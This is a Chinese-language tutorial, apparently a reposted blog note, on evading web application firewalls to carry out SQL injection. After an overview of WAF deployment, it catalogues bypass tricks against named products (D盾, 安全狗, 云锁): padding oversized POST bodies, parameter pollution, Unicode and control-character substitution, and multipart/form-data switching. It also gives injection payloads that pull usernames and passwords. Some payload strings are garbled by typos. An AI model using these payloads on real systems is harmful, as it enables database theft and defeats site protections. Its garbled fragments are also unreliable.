sql各种姿势绕waf

sql语句waf绕过

什么是waf

waf是专门针对Web应用的防火墙,属于细分领域的针对性防火墙

攻击特点:

攻击二象性:已知攻击与未知攻击

攻击维度:形式与漏洞

waf核心原理:

运用黑、白思想

特征匹配、漏洞签名

对匹配结果进行响应(拦截、记录)

waf主流产品形态

云WAF

1.阿里云盾

2.腾讯网站管家

3.创宇盾

4.CloudFlare等

软件产品类

安全狗

云锁

360主机卫士

ModSecurity等

硬件设备类

启明星辰

绿盟

天融信

飞塔等

waf的部署模式

# 基于DNS解析 

修改DNS,让域名解析到反向代理服务器,所有流量经过反向代理进行检测,检测无问题之后再转发给后端的Web服务器

用户端浏览器->DNS解析->xx云WAF->WEB服务器

# 串联模式

反向代理模式、透明代理模式。反向代理模式会改变原有网络拓扑,真实客户端IP会以http header传至后端WEB server 。透明代理模式可以在不改变原有网络拓扑结构的情况下直接部署

反向代理:提前配置好域名和目的服务器转发规则 在站点和规则较多的情况下 转发规则等配置较复杂

透明代理模式:监控tcp连接 在用户无感知的情况下代理会话 基于桥模式进行转发。从web客户端的角度来看,web客户端仍是直接访问服务器。特点是:对网络的改动最小,可以实现零配置部署

# 旁路模式

利用流量镜像技术,将业务流量分流给WAF产品,这种部署模式的优点是不会影响业务的稳定性所以waf会投入更多的性能在检出率上面 缺点 不借助其他手段无法对检测出的行为进行阻断 流量只进不出

特点:在waf出故障的情况下 不影响业务的连续性,需要联动其他设备来下发阻断策略 

# 软件嵌入中间件+检测引擎模式

在使用Ngainx作为反向代理的业务下,WAF提供Ngainx模块嵌入原有Nginx,将请求转发给检测引擎,可以做到在不改动原有网络拓扑的情况下完成检测任务

waf绕过原理

安全与业务性能不可兼得

WAF为了考虑通用性的问题 ,无法覆盖100%某些语言、中间件、数据库的特性

硬件waf自身往往存在漏洞

waf绕过角度

架构 :基于DNS解析

规则缺陷/特性:类似正则匹配 数据库特性 中间件特性

协议:HTTP0.9版本 TCP长连接

架构层面

寻找真实服务器IP

云WAF是通过修改DNS解析来隐藏了真实ip

查找域名历史解析记录

利用邮件发送功能中的源地址

域名历史解析

利用畸形数据包绕过(硬件waf)

超长数据包(资源大小限制)

畸形协议,如HTTP不同的请求方法污染、多个同样的头部

这种情况主要是让硬件WAF产生硬件BYPASS,流量直接转发给后端服务器

利用waf的SSl 缺陷

WAF对某些SSL算法的不支持

如 YLSv1 256 bits ECDHE-RSA-AES256-SHA

旁路模式中有效

规则缺陷/特性

特殊的百分号

环境:仅在IIS+ASP

UNICODE编码

IIS支持Unicode编码字符的解析,对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006tct 这种字符在IIS接收到后被转换为select,但是对于WAF层 可能接收到的内容还是s%u006c%u0006tct 这样就会形成bypass的可能

字符                            Unicode编码

a                	%u0000  %u0041 %u0061 %u00aa %u00e2

'			%u0027  %u02b9  %u02bc  %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7

HPP(HTTP参数污染)

当查询字符串多次出现同一个key时 根据容器不同会得到不同的结果

例如GET提交:id=123&id=456

|

​    iis+aps/asp.net

​               |

id=123,456

payload:id=-1 union+select+username,password/*&id=*/from+admin+limit 1

id=-1 union+select+username,password/*&id=*/from+admin+limit 1->waf规则匹配不上->IIS+ASP/ASPX(WEB服务器)->id=-1 union+select+username,password/*&id=*/from+admin+limit 1 ->数据库->select id,contents from news where id=-1 union select usename,password from admin limit 1

APS/IIS part1=val1,val2

PHP/APACHE par1=val2

jsp,servlet/apache tomocat par1=val1

畸形method

某些WAF在处理数据的时候严格按照GET、POST等标准HTTP方法来获取数据,或者采用正则匹配的方式来处理数据,可能因为WAF和WEB服务解析的前后不对等绕过WAF

存在环境:Apache 2.x

某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容

把GET替换成任意字母

参数数量限制

WAF在实际环境中为防止拒绝服务式攻击 默认最多解析前100个请求参数,更多的参数将直接忽略

存在环境:Nginx+Lua WAF

变换请求方式

假如php里使用$_REQUEST获取参数,那么php获取参数的默认优先级是 $_COOKIE>$_POST>$_GET 此时WAF层只过滤get/post 但没有过滤cookie 于是导致了绕过

存在环境:PHP

urlencode和form-data转换

POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交.使用form-data的方式去提交可以绕过某些WAF,如第一节课中的实例就利用到了该方法.

D盾BYPASS MSSQL数据库注入

MSSQL特性

select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin 

位置1

可利用其他控制字符替换空格:%01~%F、%11~%1F

可利用注释符号:/**/

可利用数字运算以及数据类型 news_id=1.1,news_id=1e0,news_id=1-1

位置2

可利用其他控制字符替换空格:%01~%0F、%11~%1F

可利用注释符号:/**/

可利用冒号:union:select

位置3

可利用其他控制字符替换空格:%01~%0F、%11~%1F

可利用注释符号:/**/

可利用其他符号:+、-、~、:、.

位置4

可利用其他控制字符替换空格:%01~%0F、%11~%1F

可利用注释符号:/**/

可利用其他字符:%80~%FF

位置5

可利用其他控制字符替换空格:%01~%0F、%11~%1F

可利用注释符号:/**/

可利用冒号:union:select

可利用其他字符::、.、%80~%FF

D盾不拦截COOKIE  变换请求


绕过安全狗

所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中,但是在应用程序能够执行的payload 绕过防护

环境:安全狗Apache最新版+apache2.4+Windows

靶场:DVWA

1.超长数据包BYPASS

GET型请求转POST型

Content-Length长度大于4008

正常参数放置在脏数据后面,否则无效

2.空格替换BYPASS

拒绝传统的%20 使用%09 %0a %0b %08....

GET型请求转POST型

payload=1'--%0d%0aunion--%d%0aselect+null.concat_ws(char(32,58,32),user,password)--+%0afrom--+%0ausers+#

3.协议转换BYPASS

使用表单请求中的multipart/form-data

关键词换行

payload:转换Content-Type:multipart/form-data;boundary=-----xxxxxx

------xxxx

Content-Disposition:name="id"

1' union

select

null,

concat_ws(char(32,58,32),user,password)

 from users#

绕过云锁WAF

云锁WAF特性

WAF资源限制角度

假如HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面2M或4M的内容,对于攻击者而言 只需要在POST BODY前面添加许多无用数据,把攻击PAYLOAD放在最后即可绕过WAF检测

Urlencode特性

HTML5 URL编码

BYPASS云锁 MYSQL数据库注入

MYSQL特性

select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin 

位置1

可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用注释符号:/** /、#test%0d%0a、--+a

可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N

位置2

可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用注释符号:/** /、#test%0d%0a、--+a

可利用括号:union(select 1,2)

位置3

可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用注释符号:/** /、#test%0d%0a、--+a

可利用其他符号:+、-、~、!、@

位置4

可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用注释符号:/** /、#test%0d%0a、--+a

可利用数学运算以及数据类型:

union select user(),2.0 from admin

union select user(),8e0from admin

union select user(),\Nfrom admin

位置5

可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用注释符号:/** /、#test%0d%0a、--+a

`号 : unoion select 1 schema_name from `information_schema`.SCHEMATA limit 0,1)

内联注释:union select

1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/limit 0,1)

{号: id=1 union select 1,(select(schema_name)from{x information_schema.SCHEMATA}limit 0,1)

(号 id=1  union select 1,(select(schema_name)from(information_schema.SCHEMATA)limit 0,1)

资源限制长度绕云锁 通杀!

你可能感兴趣的:(sql各种姿势绕waf)